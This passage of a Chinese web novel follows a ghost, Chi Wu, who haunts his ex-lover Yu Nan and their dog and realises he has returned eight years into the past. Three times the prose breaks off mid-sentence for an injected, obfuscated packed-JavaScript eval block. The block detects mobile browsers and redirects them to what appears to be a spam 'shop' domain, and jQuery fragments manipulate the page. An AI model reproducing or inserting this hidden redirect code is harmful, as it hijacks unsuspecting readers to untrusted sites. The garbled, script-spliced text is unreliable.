迟雾被咬得一愣,感觉自己身体散开又重聚,当即“啧”了一声,“还真听不懂啊,九月三,等以后我和于南幸福地生活在一起,我就给你的狗语进修一下,不用谢我,我是来自人类国的外教。” 九月三:“……..” 九月三忍无可忍,直接化身豌豆射手,但它不吐绿豆,而是用嘴筒子一下下往迟雾身上怼,它要撕碎迟雾!它势必做到! 迟雾没躲,他觉得这也是增进自己和九月三之间友谊的一部分,就任由它去了。 迟雾重新扭过头,却发现于南正直勾勾地盯着九月三看。迟雾也重新看回去。 视线在九月三和于南之间来回移动,迟雾陡然想到,于南看不见自己,但是能看见九月三啊!而九月三能看见自己,四舍五入,相当于于南能看见自己了呀。 于是,迟雾对着九月三做了个停止的手势。 九月三没停。 迟雾重新做了一次。 九月三还没停。 行吧,求人不如求己。 迟雾站起身,挑衅般朝着九月三勾勾手指,还对它做了个巨丑无比的鬼脸,这是迟雾能想到的最具有挑衅意义的动作了。 九月三果然被他吸引过去,追着他就要咬。 迟雾估量好行动轨迹,在房间里简单设计了个爱心行动轨道,他就绕着这个无形的轨道走了三圈,期间还要时不时停下来冲九月三再做几个鬼脸。 他感觉自己的苹果肌都要被扒下垂了。 最后,迟雾累倒在地上,被九月三扑了个正着。 扑吧扑吧,反正也碰不着他。 而于南看着九月三在房间里跑了几个不大圆润的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199119|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈,最后还死扑在一处用爪子使劲挠地板。 九月三是于南出狱后从监狱外捡的一条流浪狗,当时的它身上长了不少寄生虫,毛下藏着的皮肉溃烂得不成样子,两只耳朵都是聋的。当时它就躺在路边,疾驰而过的汽车都它身边一次次驶过,当时于南不打算捡它回家。 因为于南自己都自身难保。 但九月三却一瘸一拐地跑到于南身边,咬住了他那经过三年牢狱后短成七分裤的裤脚,它的耳朵还在往外冒血。 于南没心软,但是他带走了九月三。 那是他出狱后的第一笔财产。 一只和他有同样缺陷的狗。 于南盯着九月三看了半晌。 他确认了一件事,房子里确实有鬼。 那只鬼还是九月三的玩伴。 于南陡然摘下助听器,面对完全死寂的世界等待了数秒。 寂静之外还是寂静,没有其他的变化。 于南抬头看向天花板的顶灯,就像是居住在地面上的人在眺望太阳。 如果鬼能制造幻觉恐吓人类,那鬼能否让一个聋子再次听见声响,哪怕是可怖的惨叫声。 于南没有答案。 或许鬼更喜欢狗,而非他这个干瘪的人类躯壳。 于南走到九月三身边,蹲下身抚摸了下它的脑袋,“我去上班了。” 九月三停止了面对迟雾时的跳脱,乖巧地伸出舌头舔了下于南的掌心。 于南笑着收回手,出门前吃了两片止疼药。 他没喝水,而是把药片含在嘴里,像吃糖一样任由药片的苦涩味在口腔内散开。 苦远比药本身更能止疼。 迟雾看着于南离开,不知道他看懂自己的暗示没有。 “九月三,你说于南看懂了吗。”迟雾扭头问。 九月三走到门口,爪子垫着脑袋,恹恹地趴在房门前,没理迟雾。 迟雾走到它身边接着骚扰它,用手指隔着一段距离做了个戳它的动作。九月三却仍旧没什么兴致。 迟雾想起来于南吃的药。 “九月三,你也和于南一样感觉疼吗?哪疼?”除了这个,迟雾想不到别的原因了。 九月三换了个姿势,变成身子躺在地板上,后背靠着房门,眼睛凝视着迟雾。 迟雾想伸手摸摸九月三,它现在估计很难受。 但下一秒。 九月三的超绝嘴筒子再次登场,张开嘴就朝着迟雾的手腕咬。 死鬼还敢戏弄它。 看它不咬咬咬咬咬咬咬死他。 迟雾的反应慢半拍,只能眼睁睁看着九月三的大变脸,而自己那自作多情想要抚慰人家的手却没收回来。 他只能停止了把手往下落的动作,让指尖往门上撞。 可指尖上没有门冷硬的撞击感。 而是直接—— 穿过去了。 迟雾茫然地看着自己消失了大半的掌心。 这是……..穿墙术?! 迟雾:“!!!!!” 迟雾:“。。。。。” 哦,忘了,他是鬼,当然能穿墙。 迟雾也不怪九月三突袭之罪了,笑嘻嘻地扔过去句:“我先去找于南了,不用你当传话的了,这下我可以亲自拦截别的狗男人了,让我看看到底是谁勾引于南!我势必替天行道!!” 他从门上穿出去,一抬眼,看见一条昏暗得看不见尽头的走廊。 5. 第 5 章 顺着走廊走到尽头,才看见一缕从顶上透进来的微光,那是一个极其陡峭的楼梯,迟雾顺着楼梯往上爬,他数着台阶。 八十六层台阶,每节台阶极其细窄,空间逼仄,还要不时转弯,才走到个正对着玻璃门的空间里,而那光亮就是从玻璃门外挤进来的。 推开门,一瞬,寒风席卷着吹刮迟雾的头发。 大街上人来人往,匆匆而行,没人能注意到这个站在门前的鬼。 “还怪热闹的嘛。”迟雾嘟囔了句。 这确实和他想象中的地狱不大相同,简直就是现实世界的复刻版本直接搬过来用了,这场景自带的熟悉感真实的让迟雾觉得有些不自在。 这儿的气候似乎也仿照着迟雾所熟悉的哈市。 冷得让他这个只穿着病号服的鬼打了个哆嗦,起了一身鸡皮疙瘩。 迟雾一抬眼就看见对面的便利店,落地玻璃窗将便利店内的一切都清晰地展现在接到上行人的眼里,而正站在收银台内的于南也被尽收眼底。 于南耳朵上戴的助听器是出狱后新买的,最廉价的类型,呆笨的形状戴在耳朵上不大好看,但配着那张清隽的脸,总是让人不自觉地把助听器当作是个无伤大雅的蓝牙耳机。 迟雾走到对街去,站在窗前,隔着一道窗户凝视着于南的侧脸。 他看见一个顾客买了几袋零食,付了钱后对着于南笑。 很让人讨厌的笑。 那位顾客走出便利店,挂在门上的迎宾铃被风吹出急促的响声。 迟雾的视线紧紧跟随着他,直到那位顾客在接到转角处和恋人碰面,两人牵上手,迟雾的表情才缓和两分。 迟雾重新扭回脑袋,接着看于南在店内忙碌的动作。 他从来没见过于南这副样子。 当年于南遇见他的时候,已经辞去了工作,而在那之前,于南自学了心理学,考下了相关证件,在一家心理医院工作了两年。 于南谈论起这些时总是轻描淡写,就好像曾经的一切都是时间走过时顺带着留下的几行字,无足轻重,那时候的他万分温和,但总少了两分该有的人味儿,好像真正的他早已死去,只剩个躯壳留在世界上,依靠着固有的程序吸引迟雾爱上他。 现在的于南好像有那么一点点点点的变化,面对顾客时他脸上总是挂着抹淡笑。迟雾虽然不爽这笑不是对着自己露出来的,但还是盯着不舍得眨眼睛。 迟雾蹲在路边,被风吹得直哆嗦,也还是依旧□□在那儿。 反正他已经死了,不能再死一回了。 既然冻不死,再多冻一会儿怎么了。 直到便利店内的顾客全部走出去,迟雾才慢吞吞地站起身,从玻璃门穿到便利店内。 在他踏足这方空间那刻,分明没风刮过去,迎宾铃还是莫名响了一声,脆灵灵的声响在安静温暖的室内飘荡,于南顺势抬头看向门口,却未见半分人影。他嘴角弧度稍顿,盯着还在小幅度晃动的迎宾铃看了数秒,又扫了一眼关合紧密的门,才淡淡收回视线。 于南的唇角上翘了个微不可见的弧度。 于南手里拿着账单,正在上面勾勾写写,计算收银,他的字体偏瘦,和他这个人一样,扁长而瘦削,但于南的肩很宽阔,腿直且长,在普通不过的灰白色员工服穿在他身上也有种与众不同的气质。 他这样的人,注定没法让人忽视。当初迟雾就是见他第一眼就心头莫名收缩了下,而后剧烈而不容忽视地跳动了上百下,被宣告了一种叫做“一见钟情”的罪名。 迟雾隔着收银台,伸手去碰了下于南拿着笔的那只手,他又对这种幼稚的游戏上了瘾,逐渐增加手指的数量。 一根、两根、三根…….. 最后,他就像是踮着脚尖跳芭蕾的舞者,将右手五根手指的指尖都轻轻地落在于南的手背上,那种似抓似碰的手势给他一种错觉,仿佛只要他一会儿能快速把手掌压下去,他的手指就能听话得轻松钳制住于南的存在。 迟雾也确实被这种错觉迷惑了,他按着脑袋里的第一想法去做,可结果就是他的手掌一遍遍穿过于南的手掌落在桌上,然后被迫停止那不切实际的幻想。 “才一天呀,还有一千多天呢,怎么熬啊。”迟雾顿时觉得眼前一片发黑,未来都看不见任何曙光。 早知道。 他早几年死好了。 迟雾就蹲在收银台旁边,盯着再次进来的顾客来回徘徊挑选商品,也不动声色地观察着于南对待每个人的神情态度。 他倒要看看究竟是哪个奸.夫。 而于南,则不动声色地看了眼冰凉一片的手背。 那只鬼摸了他的手。 他意识到这件事,神情瞬间变得稍显冷淡,嘴唇也紧绷成一条直线,来结账的顾客看着他的表情稍显局促,快速亮出收款码页面,原本想让他往装关东煮的盒子里多舀些汤,也没好意思说话。 离开便利店后,顾客才觉得自己身上若有若无缠绕着的冷气就此散去,但分明外面更冷,可他就是觉得至少这种冷不是那种阴测测让人无法忍受的冷。 迟雾严格执行监督任务,但他就蹲在那儿,鼻息间从始至终萦绕着关东煮的香味,就像是在吊着他的一口气,他自从自杀后应该有……..反正就是好久好久了,都没吃过一口东西,更何况迟延宁把他送到疯人院后,那儿给他这个“疯子”准备的吃食都是清汤寡水的萝卜汤,再不就是干干巴巴的大米饭,当初刚进去的时候,迟雾可是听了一耳朵护工闲聊,他们一个月工资简直天额,原来都是克扣他们的伙食钱来的。 迟雾很久没过过一顿好的,现在看着暖锅里咕噜咕噜冒泡的热汤,无可忍受地吞咽了下唾沫,喉结上下滚动好几遭,都没能压抑下一瞬升腾上来的饥饿感。 但关键是—— 他只能看不能吃啊。 这儿的所有东西他都碰不得,他怎么吃啊。 食物刚落到肚子里,就直接以自由落体的形式快速降落,说不准还能从他的脚底掉出去呢。 他根本就吃不了东西啊。 迟雾确认了,这儿就是地狱。 虐待鬼,不让鬼吃饭。 民以食为天,鬼也是良民啊! 这不纯纯要他这个小鬼生不如死吗。 迟雾咬了下舌尖,骗自己这是红烧肉,但怕疼,又舍不得咬得太重,只敢用齿尖温吞地磨了两下,可这只会让他更加无法忽视嘴里的空虚感。 如果于南现在跟他舌.吻,他肯定就能忍住了。 迟雾脑袋空空,除了于南还是于南,他双手撑腮,漫无目的地遐想,从记忆里扣出曾经和于南接吻时的感觉,可到底是好久之前的记忆,到底还差了些滋味,迟雾觉得有些难捱,他现在甚至记不起来他买遇见于南之前都是靠什么找乐子的。 赛车?打架?还是什么别的东西。 迟雾统统不记得了。 他的记忆十分模糊,像被一层层白纱布缠住的缺口,他想复原,就要先掀开纱布,却又被束缚住笨拙的四肢,他无从下手。 以前于南好像挑起过这纱布的一角,让他做了一场光怪陆离的梦,在梦里他还是迟雾,却不是他这个迟雾,而是孤儿院里没人疼没人爱的丑小孩儿,龟缩在角落里玩泥巴也能玩一下午。 迟雾正盯着地面发呆,就看见一双脚从自己视野里路过,出现几秒又利落消失。 忽然意识到那双脚的主人是于南,迟雾噌得站起来,就看见于南推开门出了便利店,怀里还抱着个封好口的纸袋,他熟稔地给便利店挂上休息的牌子,然后走到隔壁的快递驿站里,叩了叩门,推开,走进去。 迟雾连忙跟进去。 于南把纸袋交给驿站里负责邮寄快递的工作人员,弯下腰在桌上填写了张必需的信息单。 工作人员打量了下纸袋的薄厚,又在手里掂了掂,简单估摸着重量,例行询问了句:“邮的是什么东西?” 于南如实回答:“照片。” “地址确定是这个哈。” 于南看了眼,“确定。” 迟雾凑上去看,就是电话里那个男人给出的地址。 照片。 给他邮什么照片。 迟雾又注意到于南填写的寄件人,不是于南,而是一个陌生的名字——安丁。 迟雾确定以及肯定,于南这辈子只有“于南”这一个名字,这个“安丁”只可能是于南和那人接触时使用的假名,或者是什么特别的、独属于两人之间的称呼。 迟雾直接否认后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199120|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者。 因为他在精神上不接受。 哪怕真是什么特别的称呼,他也全都装傻卖愣当做不知道了,否则你让他可怎么活啊,眼睁睁地看着男朋友和别人相濡以沫、恩爱白头? 呸! 他妈的做梦! 迟雾直接当是前者了。 反正也没人否认他,他这么坚定自己的推理怎么了? 迟雾确认了。 就是假名。 那个狗男人没有本事让于南对他敞开心扉,有够废物的,果然还是不如他会讨于南的欢心。 迟雾自我麻痹好半晌,最后被迫接受—— 好吧好吧好吧,啊啊啊啊啊,他还是说服不了自己,如果这是于南和别人之间的爱称怎么办啊啊啊啊啊啊啊。 啊啊啊啊啊啊!!!! 安丁能是什么含义。 安静的丁.丁? 迟雾唾弃了一下自己的脑袋。 但左思右想,好像他猜不出什么别的了。 所以真的只有他们两个才知道这个爱称的含义是吧!!! 迟雾:泪流满面,已死勿念。 迟雾希望有一个人能看见他,注意到他忧郁的眼神,以及要磨碎了的一口白牙。 于南出了驿站,朝着便利店里看了眼,没有闯进去的人,里面空荡荡的。他便站在店门口的路灯下,从腿侧口袋里掏出个烟盒,掂出根咬在齿间,打火机上的火苗颤抖蜷缩着点燃烟尾,一瞬令人难以忽视的蓝莓爆珠味从空气中爆发出来,夹杂着淡淡的烟草味,成了最天然的香水。 迟雾蹲在他腿边,双臂抱膝,吸了吸鼻子,这味道实在太过熟悉,以前,于南的身上总沾染着这种浓重的味道,那时候的迟雾嗅觉失灵,几乎分辨不出这味道到底是什么,只能明显感受到自己骨头里酥麻麻的冲动一次次被这种味道引燃,是荷尔蒙的气息。 后来他的病好了,嗅觉渐渐恢复,于南的身上却很少出现这种味道了。只有两人见最后一面的时候,于南在他面前抽了根烟。 那时候的于南莫名开始眼睛疼,几乎不能忍受的程度,那也是于南第一次蜷缩在迟雾的怀里,两人牵着手,掌心紧贴,于南亲吻了迟雾的手腕,然后点燃了一根烟。 那或许也是一个征兆。 也许当时于南早就做了打算,只不过他不打算直说,而是选择隐晦地暗示,等迟雾读懂。 可惜迟雾太笨了。 他是个笨小孩。 就像他现在眼睁睁地看着于南和别的狗男人有了纠缠不清的现象却又无可奈何,却只能蹲在于南脚边当个窥探全世界的幽灵。 于南这根烟抽得特别慢,视线定格在天边,不知道在看什么,又或许只是在无意识地走神。 他在想那个男人吗。 只要于南不把那个男人带回家里,他就睁一只眼闭一只眼。 要是带到家里了,他就只能化身厉鬼掐死那个狗男人了。 他还要提前想方设法搞来个红衣套装,成为世界上最吓人的厉鬼,把每个勾引别人男朋友的狗男人都给吓死千八百遍! 迟雾酸唧唧地想。 于南吐出口烟,他收回视线,思绪也从那摞照片上收回来。但就在他的视线漫不经心地往旁边一扫时,却看见被风吹刮撕扯成一张大网的烟雾中堪堪出现了个形状,是一个蹲着的……..狗? 于南眯了眯眼睛。 进监狱之后被批戒烟,这是他出来之后抽的第一根烟,没犯烟瘾,这几年,每个犯烟瘾的夜晚都挺过来了,那么丁点儿瘾早就消退得一干二净了。 冷不丁抽这么根烟,眩晕感笼罩着头脑的清明,一寸寸掠夺他对世界正确判断的权利,他甚至以为那是自己那少得可怜的童心回光返照,才会幼稚到在一团二手烟的烟雾里找狗。 可意识到什么。 于南忽地扯了扯嘴角。 没有家的野鬼不是为了找狗,而是为了找他。 因为他身上罪孽深重吗。 还是因为他也快死了,成为一句冷冰冰的尸体? 于南看着烟雾被撕扯无数次,里面的那个清晰的形状却丝毫未变,如同一只守在主人脚边的乖狗。 野狗死后,灵魂飘荡着也不忘寻主吗。 6. 第 6 章 掐了烟,于南吐出最后一口烟,转身取下挂在门把手上的休息提示牌,拉开门,进了便利店内,暖气瞬间将他团团围住,如同让人情不自禁沉迷进去的糖衣炮弹。 但于南从始至终都格外清醒,他身上的冷气还没散。进到收银台内,放下隔板,视线随意顺着玻璃窗往外一瞥,他就看见那团烟雾被风阻隔着,还未散去,而烟雾中央的狗也还蹲在原地,也不知道究竟是不是在跟着他。 于南想,鬼缠着他是最坏的决策,他不怕鬼,鬼才应该怕他。 他插在侧兜里的手指蜷缩了下,停顿两秒,从兜里勾出来板止疼药,他扣出来一片扔进嘴里,面无表情地把药片咬碎,任由苦得人神经阵痛的气味在口腔内铺满。 吞咽下去。 烟雾终于散了,而在烟雾散了的前一刻,于南看见那只狗回头了,直觉告诉他,那只狗在盯着他看,再光明正大地偷窥他,在观察他。 于南收回视线,接着做手头上的事,情绪没受这诡谲一幕的丁点儿影响。 他一如既往地淡定自持。 迟雾悄悄抹了下眼泪,恶狠狠地骂了句:“狗男人,你趁现在多享福吧,等我有实体了,就立刻马上掐死你!” 他骂完,又开始不受控制地下压嘴角,双眉扭曲得像下一秒就要牵引着其下双眸淌出来两行泪,但他忍回去了,还打了个不合时宜的嗝。 他现在又饿又委屈,打哪门子嗝啊。 迟雾心情坏极了,却还是要老老实实地回到便利店里去。总不能因为一个狗男人就忘记死守阵地吧,至少,一个就够了,别再多了,于南早晚会腻歪的,到时候、到时候他就顺势把狗男人踹飞,自己美滋滋地躺到于南怀里和他扯着嗓子哭怨。 迟雾觉得自己特心机深沉,还是个热衷于演戏的人精,他已经想好躺在于南怀里的时候要先把话说完,然后再让眼泪一点点地掉下来,他还要抓着于南的手指,假装不想让他察觉到自己哭了,把脸藏起来,然后偷偷摸摸地把于南的手指放到自己脸上,让他好好摸摸自己有多难过。 甚至委曲求全到哭都不敢光明正大地哭。 迟雾在内心小剧场里排练了两遍,用一场苦情戏给自己哄好了,又屁颠屁颠地进便利店里去了。 迎宾铃再次响起。 迟雾期待于南能因为这一声抬头看一眼。 但于南只是专注地看手上的书。 迟雾凑近看了一眼。 是一本高数书。 他只简单扫了两眼就觉得头脑发胀,感觉下一秒就要被密密麻麻的数字符号化成的麻绳给勒紧脖子,窒息晕厥过去,他连忙别开眼。 果然,这么多年,他还是不爱学习。 其实他对数学挺感兴趣的,但不知道因为点儿什么,可能是骨子里就刻着“难成大事”四个字,哪怕他想钻研一下老师课上布置的数学题,也会在忍耐眩晕感紧盯题目两秒后自动放弃。 迟雾觉得,如果有人想谋杀他,都不用特意花大价钱去买迷药,直接把数学题印满一张A4纸,然后吊他脑袋上,他直接一晕到十个世纪后,说不准后人还能拿他的骨灰当上等迷魂药呢。 这么一想,迟雾觉得自己还是蛮牛逼的。 骨灰级牛逼! 可就这么一个对于他来说是迷魂药存在的高数书,于南看得津津有味、万分入迷,甚至有顾客过来结账,他都手脚更麻利了些,只为快速回到书海里去。 “咕噜。” 迟雾的肚子叫了一声。 他低头看了眼肚子,唉声叹气,抬手揉了揉肚子,缓解潮海般将自己淹没的饥饿感,他感觉自己现在能把全世界的数学书都当成香脆小饼干生咽下去。 迟雾瞪圆了眼睛看向高数书,试图让自己就此昏迷过去,摆脱饥饿,最好还能一晕就晕个三年,直接让他无痛获得实体,然后去咬于南的手背,让他找狗男人,咬死他。 可到底本能控制躯壳,他的视线下意识偏转成一条弧线,而落点被他强行控制在数学书上,最终,降落点被身体系统设置在了书页数字上。 也是这么一看。 迟雾才发现—— 诶? 于南从刚开始到现在看这书看了两个小时,怎么还是在这页。 还未来得及深思,眩晕感袭来。 迟雾还特意瞒着家里去看过医生,想治治他这个晕数学书的病,他和那医生唠得还行,听医生说,像他这种症状的人不少,晕数学书多半是心理作用,因为对数学这个科目感到厌恶,而引发的自我催眠式心理性疾病。 那个医生给迟雾做了几个测试,还说迟雾是他职业生涯里见过的对数字最敏感的数学厌恶症的病人,这也导致他受的罪要比寻常病人翻上几倍。 后来迟雾开了几副药,却只吃了几天,就被他妈发现了,药被扔进了垃圾桶里,被快速清理出去。 他妈认为这不是病,没必要治。 迟雾也发现了。 每次他表现出对数学的厌恶时,他妈反而会抱着他亲他额头,温柔地哄他,告诉他没必要勉强自己,还说他从小就不喜欢数学,都十几年了,习惯就好了,还说他别的方面的优点也很明显。 比如说他钢琴弹得不错。 可迟雾坐在钢琴前听老师讲课的时候,手指摁在黑白相间的个个琴键上,他总觉得,好像这一切,没那么有趣。 他觉得自己从小到大都是三分钟热度,他妈说他小时候喜欢的,他现在都觉得一般,甚至深感无聊。 迟雾又美滋滋地想,大抵他这辈子唯一不三分钟热度的就是喜欢于南,如果他小时候就见过于南,那他也有信心保证,他肯定会从刚长出牙的年纪就喜欢于南直到以后成了佝偻背的皱纹老头,直到躺在床上无力地死去,直到最后一丝对世界的感情都被剥夺。 迟雾把视线偏移更多。 直到于南把书合上,他才松了口气。 迟雾重新看向于南,发现于南脸上的表情有些难看,甚至称得上苍白,一如迟雾看了数学书后的反应。 于南揉了揉太阳穴。 果然,他不是学数学的料子。 深吸了口气,于南翻开高数书的封页,看着第一页写在“高数”两个大字正下方的他的名字。 这页上写着的“于南”两个字一笔一划极其舒展,可以看得出当初那个人写字时写得又慢又仔细。 于南盯着这两个字看得出神。 这时,迟雾才发现这本书的书页泛黄极其严重,像是翻了有些年岁了。 而这本书的出版日期更早。 是六年前出版的书。 于南伸出手指缓慢摩挲了下“于南”两个字,仿佛是在摸当时写出这两个字的那个人,他漆黑眼睫低垂着遮住眸中情绪,让人有些看不透。 迟雾看了眼那两个字。就着于南的神情,他也能猜出来,这字绝对不是于南写的。 迟雾酸溜溜地想,写的真丑。 应该是那个狗男人写的吧。 他俩倒是爱得情深意重。 迟雾突然觉得自己特别可笑,才三年,于南就移情别恋了,移情别恋也就算了,毕竟人类世界总是格外惧怕寂寞,成年人也总是通过各种手段来想方设法地排解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199121|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂寞。 于南通过另一段感情来躲避被寂寞笼罩的恐惧,迟雾能理解。但他不能接受这段感情中于南格外投入。 寄照片也就算了。 居然还睹字思人。 于南这个骗子,还说喜欢他一辈子呢。 便利店的灯光骤然变得惨白,迟雾觉得这儿就是审判他自杀之罪的停尸间,冷冰冰地怎么也没办法回暖,全身上下都被彻底冻僵,血液无法流淌。 “话说回来,你不觉得这件事发生的很突然吗,他没病也没什么的,突然就死了,甚至连个收尸人都没有,还是死在家里后散发腐臭,邻居报警了,才有警察发现了他的死亡,我说我家最近怎么有股臭味,我甚至都多买了两瓶香水,当时知道真相我都要吓死了。” 便利店的门被两个高中生推开,在迎宾铃的震动声中,她们的交谈并未停止,而是一边在货架中寻找需要的商品,一边接着絮语。 “正常,现在这个社会,每个人看起来都衣冠楚楚,但其实一个比一个病得要深,要不怎么那么多人羡慕狗呢,只要每天想着找骨头吃就行了,无忧无虑的。” “但是他都赚了那么多钱了,突然自杀是为了什么呢,我想不通。” “有钱又不代表富足,他精神世界贫瘠呗。” 其中一位挑好商品,站在一旁边低头玩手机边等待那人。 那人嘶了一声,百思不得其解,“有钱还不幸福啊,在我看来有钱就没烦恼了,我看网上那些小说里,总裁一年给五百万,扮演他白月光的替身,这就是我梦想中的工作,要是我啊,肯定就干了。” 另一人抬头看了她眼,不赞成道:“当替身多憋屈啊,属于自己的一切特点都被另一个人的存在抹除甚至占有,还要被迫模仿她的喜好习惯,除非钱能彻底把我催眠,让我忘记那个白月光的存在,否则心知肚明地舍弃自己,多难受啊。” 于南眸子微动,视线端端正正地看向这两人。 迟雾也抬眼看着她们。 死了? 什么意思。 迟雾紧蹙眉头。 变成鬼后还会死亡?然后再次变成一具尸体,还会腐烂? 两个高中生到收银台前结账,其中一人看见了于南的脸,连忙给另一个使眼色,嘴唇不动,腹语低声道:“快看快看,帅哥店员啊,应该是新来的,之前没见过这个哥哥。” 两人一齐盯着于南看,直到买完单走到门前,还能听见一声——— “要是能让我和这种帅哥谈恋爱,死而无憾,我这辈子算值了。” 迟雾这时候没心情吃醋,而是觉得哪哪都不对劲。 死而无憾? 又是死。 迟雾终于察觉到一切好像偏离了他的认知。 他倏地抬头向外看,刚出去的两个高中生正在窗外兴高采烈地聊天,互相推搡,其中一人手里手机的屏幕转过来正对迟雾时,他看见了部电视剧的播放页面。 那部电视剧他记得。 好像就是……..他十八岁那年大火的那部剧。 迟雾呆怔住,他把脑袋探到玻璃外,就听见其中一个人说:“诶,今晚《迟愿》就更新第八集了,啊啊啊啊啊好期待!里面的男女主实在是太好看了,好像都是新人啊,脸挺陌生的。” “没啊,那个女主以前还演过反派呢,你等我给你找找,跨度特别大,你肯定认不出来。” 她们的背影远去。 迟雾在风中凌乱。 这……..究竟是不是地狱?? 怎么越听越像—— 现实世界?! 7. 第 7 章 迟雾开始有意识地听每个进到便利店内顾客所说的话,有些顾客孤身一人,始终缄默,他跟在后头也一无所获,有的顾客三两成群,迟雾从他们或简短或冗长的对话中拼凑出属于这个世界的真相。 一切线索被粘贴在脑海里的展板上。 迟雾不得不承认,他被先入为主的大脑狠狠欺骗了——这他妈的压根儿不是地狱! 他真的回到八年前了,还是他妈的以阿飘的形式! 所以说。 于南压根儿不是移情别恋。 现在的他甚至都不知道有迟雾这个人! 迟雾想大骂老天,这是他妈的什么破发展、破剧情,他要于南,不是要和自己天人永隔的于南! 他想亲于南,想抱于南,想和于南做.爱,和于南尝试曾经没做过的一切东西,想和他白头到老。 迟雾突然发现自己所坚定的一切立场都在一瞬被彻底否决,他现在压根儿没有身份去喊别人狗男人。 哪怕于南和别人爱得死去活来,他也只能这样无力地接受。 等等…….. 那现在这个八年前的迟雾……..还存在在这个世界对吧? 迟雾吞咽了下口水,最后看了眼于南,便奔出便利店,按着记忆里的街道分布,开始寻找他家的方向。 十八岁。 这时候,这个时间点的他应该正在上钢琴课。 但当迟雾跑到三条街外,他却发现无形的屏障阻隔了他的去路,他就像是一只被拴住脖子的狗,而那条固定在某点的铁链只能容许他在这片区域内行动,一如当初被锁在疯人院的最后一号房间里一样,他又成了无力逃跑的病犬。 老天啊老天,他真看不懂了。 迟雾站在十字路口正中央,任由一辆辆汽车开着闪灯从他身体穿过,将他撞碎,又将将复原。可他的心却在此刻碎成了冒着泡的毒水,怨念地质问老天,质问神鬼。 所以是让他眼睁睁地看着一切和上一世一样发展,他却根本无从插手改变是吗。 看着于南自杀,然后他自己再自杀。 再然后呢。 这一方小世界里堆满名叫迟雾的怨鬼是吗。 这实在是……实在是太荒唐了。 属于他们的命运就是死去后在世界里游荡,却无人察觉是吗,然后守着百世孤寂,直到颓唐地接受一切,再成为被拴在这个世界里的可怜的、无人能懂的、一只连叫出声都做不到的狗! 迟雾扭头看着占据全部视野的车灯明亮闪烁,呆愣愣地瞪着眼睛,他嚅嗫了下嘴唇,压抑在心底的全部情绪被攥挤、压缩、而后痛痛快快地爆发出来—— “他妈的凭什么!!”迟雾的手抓紧身上单薄的病号服,扯着嗓子叫喊:“我叫迟雾,我是迟雾,我要回去,我要回到我的世界里去!我不要无人能发觉我!!!” 可任由他如何嘶喊,这座城市依旧在无情地持续着自己的秩序规则,无人有心去体贴一只鬼的心里正在做何想法,又在索求何等结果。 迟雾将自己的最后一丝力气耗尽,嗓子再也发不出任何声响后,拖着还未回复形态的身体,以一天雾的形式回到了便利店,回到了于南身边。 他的狗链另一端被钉在了于南的骨头上。 他只能绕着于南身旁的方圆几里徘徊踟蹰。 迟雾失魂落魄地蜷缩着身子,躺在于南脚边的地面上,他与整个世界分隔开,却又被残忍地拘禁在此。 如果世界上真的存在疯人院,也不过如此。 他的世界分崩离析,神志不再清晰。 “……..于南。”迟雾喃喃地叫着。 于南倏地抬起头。 正值附近学校的放学时间,便利店内拥堵满学生以及前来买夜宵的加班族,一道道人影重叠成看不清楚形状的影子,世界被郁堵成没有路口的死角,而于南的耳朵在这么一片如同收音机噪点声交叠的空间里清晰地捕捉到一道声音—— 还是属于那个人的声音。 于南瞳孔骤缩,平静的脸上见了些许慌张,他的视线穿过一道道身影,条件反射般开始寻找那个人。 “帅哥?”正在结账的顾客看他走神,没忍住出声叫他,手指还叩了叩收银台的桌面,脆响声化作无形大手将于南的神志拉扯回现实,顾客催促了声:“可以稍微快点吗?我赶时间。” “哦,好。”于南接着手下扫描商品的动作,可思绪却不断远飘,最终化作那张入狱后无数次视线在梦里的脸。 时间过得太久了,三年,无数个叠加的梦几乎毁了那张在他记忆中格外清晰的脸,让他的神志无可奈何地被侵扰,一个个渴望出狱的夜晚,让他如今只能拼凑出那人的眉眼。 在顾客全部走后,便利店再次恢复空旷,于南才从衣服侧兜里拿出那张被抚摸多次后留下一道道刮痕而褪色的照片。 照片里一个少年蜷缩在窄小破旧的木板床上,深灰色的被褥将他包裹严实,只有一双眉眼露在外面。 如果此刻躺在地板上的迟雾站起来朝那张照片看上一眼,就能轻而易举地发现—— 照片里那个人。 是他。 更确切地来说,是那一个个光怪陆离的梦里,躲在孤儿院里的他。 于南盯着照片看了数秒,手指在照片上缱绻轻柔地抚摸了下,他阖了阖眼。 别急小宝,我很快就能再次找到你。 等我,等我。 酸涩堵住喉咙,于南收起照片。 他吐出口浊气,接着做手头上的事。 